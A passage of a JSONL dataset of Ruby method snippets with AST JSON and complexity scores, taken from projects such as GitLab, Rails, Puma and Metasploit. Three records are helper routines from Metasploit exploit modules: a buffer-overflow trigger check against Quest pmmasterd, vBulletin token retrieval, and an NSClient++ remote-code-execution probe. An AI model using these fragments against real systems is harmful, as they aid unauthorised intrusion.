\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]}]}","id":"bf873f00-3c59-4bf5-bc6c-273d10111e75"}
{"repo_name":"doorkeeper","file_path":"./repos/doorkeeper/app/controllers/doorkeeper/authorizations_controller.rb","start_line":156,"raw_source":"def after_successful_authorization(context)\n      Doorkeeper.config.after_successful_authorization.call(self, context)\n    end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"after_successful_authorization\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"context\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Doorkeeper\"]},\"config\"]},\"after_successful_authorization\"]},\"call\",{\"type\":\"self\",\"children\":[]},{\"type\":\"lvar\",\"children\":[\"context\"]}]}]}","id":"9cb13e2d-4dbc-4258-9ef4-01f6c71af8e1"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/misc/quest_pmmasterd_bof.rb","start_line":110,"raw_source":"def check_x64\n    head = [ 0x26c ].pack(\"N\")\n    head << [ 0x700 ].pack(\"N\")\n    head << [ 0x700 ].pack(\"N\")\n    head << \"\\x00\" * 68\n\n    body = \"PingE4.6 .0.0.27\"\n    body << rand_text_alpha(3000)\n\n    request = head + body\n\n    connect\n    print_status(\"Sending trigger\")\n    sock.put(request)\n    res = sock.timed_read(1024, 1)\n    if res.match? \"Pong4$\"\n      return Exploit::CheckCode::Appears\n    else\n      return Exploit::CheckCode::Unknown\n    end\n  end","complexity_score":25.5,"ast_json":"{\"type\":\"def\",\"children\":[\"check_x64\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"head\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[620]}]},\"pack\",{\"type\":\"str\",\"children\":[\"N\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"head\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[1792]}]},\"pack\",{\"type\":\"str\",\"children\":[\"N\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"head\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[1792]}]},\"pack\",{\"type\":\"str\",\"children\":[\"N\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"head\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"\\u0000\"]},\"*\",{\"type\":\"int\",\"children\":[68]}]}]},{\"type\":\"lvasgn\",\"children\":[\"body\",{\"type\":\"str\",\"children\":[\"PingE4.6 .0.0.27\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"body\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"int\",\"children\":[3000]}]}]},{\"type\":\"lvasgn\",\"children\":[\"request\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"head\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"body\"]}]}]},{\"type\":\"send\",\"children\":[null,\"connect\"]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Sending trigger\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sock\"]},\"put\",{\"type\":\"lvar\",\"children\":[\"request\"]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sock\"]},\"timed_read\",{\"type\":\"int\",\"children\":[1024]},{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"match?\",{\"type\":\"str\",\"children\":[\"Pong4$\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Appears\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Unknown\"]}]}]}]}]}","id":"1b685a62-b0ad-4b6b-b327-b4d1ee1edd31"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/internal_events/events_router.rb","start_line":19,"raw_source":"def event_definition\n        Gitlab::Tracking::EventDefinition.find(event_name)\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"event_definition\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Tracking\"]},\"EventDefinition\"]},\"find\",{\"type\":\"send\",\"children\":[null,\"event_name\"]}]}]}","id":"8ca37638-508e-4a53-bd1e-13d4db511bc1"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/config/settings.rb","start_line":220,"raw_source":"def cron_for_service_ping\n    # Set a default UUID for the case when the UUID hasn't been initialized.\n    uuid = Gitlab::CurrentSettings.uuid || GITLAB_INSTANCE_UUID_NOT_SET\n\n    minute = Digest::SHA256.hexdigest(uuid + 'minute').to_i(16) % 60\n    hour = Digest::SHA256.hexdigest(uuid + 'hour').to_i(16) % 24\n    day_of_week = Digest::SHA256.hexdigest(uuid).to_i(16) % 7\n\n    \"#{minute} #{hour} * * #{day_of_week}\"\n  end","complexity_score":22.05,"ast_json":"{\"type\":\"def\",\"children\":[\"cron_for_service_ping\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"uuid\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"CurrentSettings\"]},\"uuid\"]},{\"type\":\"const\",\"children\":[null,\"GITLAB_INSTANCE_UUID_NOT_SET\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"minute\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Digest\"]},\"SHA256\"]},\"hexdigest\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uuid\"]},\"+\",{\"type\":\"str\",\"children\":[\"minute\"]}]}]},\"to_i\",{\"type\":\"int\",\"children\":[16]}]},\"%\",{\"type\":\"int\",\"children\":[60]}]}]},{\"type\":\"lvasgn\",\"children\":[\"hour\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Digest\"]},\"SHA256\"]},\"hexdigest\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uuid\"]},\"+\",{\"type\":\"str\",\"children\":[\"hour\"]}]}]},\"to_i\",{\"type\":\"int\",\"children\":[16]}]},\"%\",{\"type\":\"int\",\"children\":[24]}]}]},{\"type\":\"lvasgn\",\"children\":[\"day_of_week\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Digest\"]},\"SHA256\"]},\"hexdigest\",{\"type\":\"lvar\",\"children\":[\"uuid\"]}]},\"to_i\",{\"type\":\"int\",\"children\":[16]}]},\"%\",{\"type\":\"int\",\"children\":[7]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"minute\"]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hour\"]}]},{\"type\":\"str\",\"children\":[\" * * \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"day_of_week\"]}]}]}]}]}","id":"7289c1a1-b679-4587-bc9b-cb135c2f9dd5"}
{"repo_name":"puma","file_path":"./repos/puma/test/test_binder.rb","start_line":37,"raw_source":"def test_synthesize_binds_from_activated_fds_no_sockets\n    binds = ['tcp://0.0.0.0:3000']\n    result = @binder.synthesize_binds_from_activated_fs(binds, true)\n\n    assert_equal ['tcp://0.0.0.0:3000'], result\n  end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_synthesize_binds_from_activated_fds_no_sockets\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"binds\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"tcp://0.0.0.0:3000\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@binder\"]},\"synthesize_binds_from_activated_fs\",{\"type\":\"lvar\",\"children\":[\"binds\"]},{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"tcp://0.0.0.0:3000\"]}]},{\"type\":\"lvar\",\"children\":[\"result\"]}]}]}]}","id":"307c0892-4df0-448c-8dd6-2879c3daf524"}
{"repo_name":"ruby_llm","file_path":"./repos/ruby_llm/lib/ruby_llm/chat.rb","start_line":120,"raw_source":"def each(&)\n      messages.each(&)\n    end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"each\",{\"type\":\"args\",\"children\":[{\"type\":\"blockarg\",\"children\":[null]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"messages\"]},\"each\",{\"type\":\"block_pass\",\"children\":[null]}]}]}","id":"329be761-144c-4229-9f74-d5ba9a864fe2"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/test_case_test.rb","start_line":177,"raw_source":"def increment_count\n      @counter ||= 0\n      @counter += 1\n      render plain: @counter\n    end","complexity_score":4.3,"ast_json":"{\"type\":\"def\",\"children\":[\"increment_count\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@counter\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@counter\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"plain\"]},{\"type\":\"ivar\",\"children\":[\"@counter\"]}]}]}]}]}]}","id":"a8188e67-54c8-42c8-80a1-efd0a0cc7641"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/boards/app/components/boards/row_component.rb","start_line":54,"raw_source":"def button_links\n      [delete_link].compact\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"button_links\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"delete_link\"]}]},\"compact\"]}]}","id":"2d4147ce-39d2-4308-9f8c-7d72553db58e"}
{"repo_name":"rspec-core","file_path":"./repos/rspec-core/spec/support/formatter_support.rb","start_line":252,"raw_source":"def send_notification type, notification\n    reporter.notify type, notification\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"send_notification\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"type\"]},{\"type\":\"arg\",\"children\":[\"notification\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"reporter\"]},\"notify\",{\"type\":\"lvar\",\"children\":[\"type\"]},{\"type\":\"lvar\",\"children\":[\"notification\"]}]}]}","id":"f564222b-cdb9-4e60-b139-d50b87ee10dc"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/workers/projects/git_garbage_collect_worker.rb","start_line":16,"raw_source":"def before_gitaly_call(task, resource)\n      return unless gc?(task)\n\n      # Don't block garbage collection if we can't fetch into an object pool\n      # due to some gRPC error because we don't want to accumulate cruft.\n      # See https://gitlab.com/gitlab-org/gitaly/-/issues/4022.\n      begin\n        ::Projects::GitDeduplicationService.new(resource).execute\n      rescue Gitlab::Git::CommandTimedOut, GRPC::Internal => e\n        Gitlab::ErrorTracking.track_exception(e)\n      end\n    end","complexity_score":7.6,"ast_json":"{\"type\":\"def\",\"children\":[\"before_gitaly_call\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"task\"]},{\"type\":\"arg\",\"children\":[\"resource\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"gc?\",{\"type\":\"lvar\",\"children\":[\"task\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Projects\"]},\"GitDeduplicationService\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"resource\"]}]},\"execute\"]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Git\"]},\"CommandTimedOut\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GRPC\"]},\"Internal\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"ErrorTracking\"]},\"track_exception\",{\"type\":\"lvar\",\"children\":[\"e\"]}]}]},null]}]}]}]}","id":"0f97dbde-d453-4aa8-be91-bbd8ebaf5be8"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/concerns/alert_management/responses.rb","start_line":6,"raw_source":"def success(alerts)\n      ServiceResponse.success(payload: { alerts: Array(alerts) })\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"success\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"alerts\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ServiceResponse\"]},\"success\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"alerts\"]},{\"type\":\"send\",\"children\":[null,\"Array\",{\"type\":\"lvar\",\"children\":[\"alerts\"]}]}]}]}]}]}]}]}","id":"f8d31e65-2a6f-4007-b1cc-3a49465742ab"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/vbulletin_getindexablecontent.rb","start_line":78,"raw_source":"def get_hv_hash\n    print_status(\"Making request to '#{target_uri.path}/ajax/api/hv/generateToken' to retrieve HV token.\")\n    res = send_request_cgi({\n      'method' => 'POST',\n      'uri' => normalize_uri(target_uri.path, 'ajax', 'api', 'hv', 'generateToken'),\n      'vars_post' => {\n        'securitytoken' => 'guest'\n      }\n    })\n\n    return nil unless res && res.code == 200 && (parsed_resp = res.get_json_document) && parsed_resp['hash']\n\n    hv_hash = parsed_resp['hash']\n    print_good(\"Retrieved '#{hv_hash}' human verification token.\")\n    hv_hash\n  end","complexity_score":23.95,"ast_json":"{\"type\":\"def\",\"children\":[\"get_hv_hash\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Making request to '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]}]},{\"type\":\"str\",\"children\":[\"/ajax/api/hv/generateToken' to retrieve HV token.\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"POST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"ajax\"]},{\"type\":\"str\",\"children\":[\"api\"]},{\"type\":\"str\",\"children\":[\"hv\"]},{\"type\":\"str\",\"children\":[\"generateToken\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_post\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"securitytoken\"]},{\"type\":\"str\",\"children\":[\"guest\"]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"parsed_resp\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"get_json_document\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parsed_resp\"]},\"[]\",{\"type\":\"str\",\"children\":[\"hash\"]}]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"hv_hash\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parsed_resp\"]},\"[]\",{\"type\":\"str\",\"children\":[\"hash\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Retrieved '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hv_hash\"]}]},{\"type\":\"str\",\"children\":[\"' human verification token.\"]}]}]},{\"type\":\"lvar\",\"children\":[\"hv_hash\"]}]}]}","id":"44ab27f6-0870-4c95-a644-7f2e28ad6f76"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/test/plugin/test_parser_nginx.rb","start_line":81,"raw_source":"def test_parse_with_http_x_forwarded_for_multiple_ip\n    d = create_driver\n    d.instance.parse('127.0.0.1 192.168.0.1 - [28/Feb/2013:12:00:00 +0900] \"GET / HTTP/1.1\" 200 777 \"-\" \"Opera/12.0\" \"127.0.0.1, 192.168.0.1\"') { |time, record|\n      assert_equal(event_time('28/Feb/2013:12:00:00 +0900', format: '%d/%b/%Y:%H:%M:%S %z'), time)\n      assert_equal(@expected_extended_multiple_ip, record)\n    }\n  end","complexity_score":9.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_parse_with_http_x_forwarded_for_multiple_ip\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"d\",{\"type\":\"send\",\"children\":[null,\"create_driver\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"d\"]},\"instance\"]},\"parse\",{\"type\":\"str\",\"children\":[\"127.0.0.1 192.168.0.1 - [28/Feb/2013:12:00:00 +0900] \\\"GET / HTTP/1.1\\\" 200 777 \\\"-\\\" \\\"Opera/12.0\\\" \\\"127.0.0.1, 192.168.0.1\\\"\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"time\"]},{\"type\":\"arg\",\"children\":[\"record\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[null,\"event_time\",{\"type\":\"str\",\"children\":[\"28/Feb/2013:12:00:00 +0900\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"format\"]},{\"type\":\"str\",\"children\":[\"%d/%b/%Y:%H:%M:%S %z\"]}]}]}]},{\"type\":\"lvar\",\"children\":[\"time\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"ivar\",\"children\":[\"@expected_extended_multiple_ip\"]},{\"type\":\"lvar\",\"children\":[\"record\"]}]}]}]}]}]}","id":"df638be7-6f35-475a-a168-7804586ef03e"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/http/nscp_authenticated_rce.rb","start_line":154,"raw_source":"def external_scripts_feature_enabled?(token)\n    r = send_request_cgi({\n      'method' => 'GET',\n      'headers' => { 'TOKEN' => token },\n      'uri' => normalize_uri('/registry/control/module/load'),\n      'vars_get' => { 'name' => 'CheckExternalScripts' }\n    })\n\n    r&.body.to_s.include? 'STATUS_OK'\n  end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"external_scripts_feature_enabled?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"token\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"r\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"headers\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"TOKEN\"]},{\"type\":\"lvar\",\"children\":[\"token\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"str\",\"children\":[\"/registry/control/module/load\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_get\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"CheckExternalScripts\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"r\"]},\"body\"]},\"to_s\"]},\"include?\",{\"type\":\"str\",\"children\":[\"STATUS_OK\"]}]}]}]}","id":"55c7d384-e37b-480e-a955-1f5107c6042f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/merge_request.rb","start_line":2805,"raw_source":"def set_draft_status\n    self.draft = draft?\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"set_draft_status\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"draft=\",{\"type\":\"send\",\"children\":[null,\"draft?\"]}]}]}","id":"13c1bb55-ab03-4374-802a-859a11fd2d0b"}
{"repo_name":"hooks","file_path":"./repos/hooks/spec/unit/lib/hooks/plugins/lifecycle_spec.rb","start_line":116,"raw_source":"def on_error(exception, env)\n          @error_called = true\n          @received_exception = exception\n          @received_env = env\n          \"error handled\"\n        end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"on_error\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"exception\"]},{\"type\":\"arg\",\"children\":[\"env\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@error_called\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@received_exception\",{\"type\":\"lvar\",\"children\":[\"exception\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@received_env\",{\"type\":\"lvar\",\"children\":[\"env\"]}]},{\"type\":\"str\",\"children\":[\"error handled\"]}]}]}","id":"1b4d7ef5-97d6-4e8e-9165-6fef5a8faaa3"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/banzai/filter/sanitization_filter.rb","start_line":49,"raw_source":"def allow_id_attributes(allowlist)\n        # Allow `id` in `a` and `li` elements for footnotes and `a` elements for header anchors.\n        # Remove any `id` properties not matching these patterns via transformer\n        allowlist[:attributes]['a'].push('id')\n        allowlist[:attributes]['li'] = %w[id]\n        allowlist[:transformers].push(self.class.remove_id_attributes)\n      end","complexity_score":10.4,"ast_json":"{\"type\":\"def\",\"children\":[\"allow_id_attributes\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"allowlist\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"allowlist\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"attributes\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"a\"]}]},\"push\",{\"type\":\"str\",\"children\":[\"id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"allowlist\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"attributes\"]}]},\"[]=\",{\"type\":\"str\",\"children\":[\"li\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"id\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"allowlist\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"transformers\"]}]},\"push\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"remove_id_attributes\"]}]}]}]}","id":"ea5532fb-dd0b-4bd6-a4f4-1bafeb84da27"}
{"repo_name":"forem","file_path":"./repos/forem/app/controllers/admin/comments_controller.rb","start_line":38,"raw_source":"def calculate_flags_for_single_comment(comment)\n      comment.reactions.privileged_category.count do |reaction|\n        reaction.category == \"vomit\" && reaction.status != \"invalid\"\n      end\n    end","complexity_score":10.9,"ast_json":"{\"type\":\"def\",\"children\":[\"calculate_flags_for_single_comment\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"comment\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"comment\"]},\"reactions\"]},\"privileged_category\"]},\"count\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"reaction\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"reaction\"]},\"category\"]},\"==\",{\"type\":\"str\",\"children\":[\"vomit\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"reaction\"]},\"status\"]},\"!=\",{\"type\":\"str\",\"children\":[\"invalid\"]}]}]}]}]}","id":"1c5cd64f-5cb6-4d31-afe4-79d1c3ab8e82"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/enterprise/app/policies/enterprise/csat_survey_response_policy.rb","start_line":2,"raw_source":"def index?\n    @account_user.custom_role&.permissions&.include?('report_manage') || super\n  end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"index?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@account_user\"]},\"custom_role\"]},\"permissions\"]},\"include?\",{\"type\":\"str\",\"children\":[\"report_manage\"]}]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"71ac8a40-b576-4537-9acb-4fe3e27ff50d"}
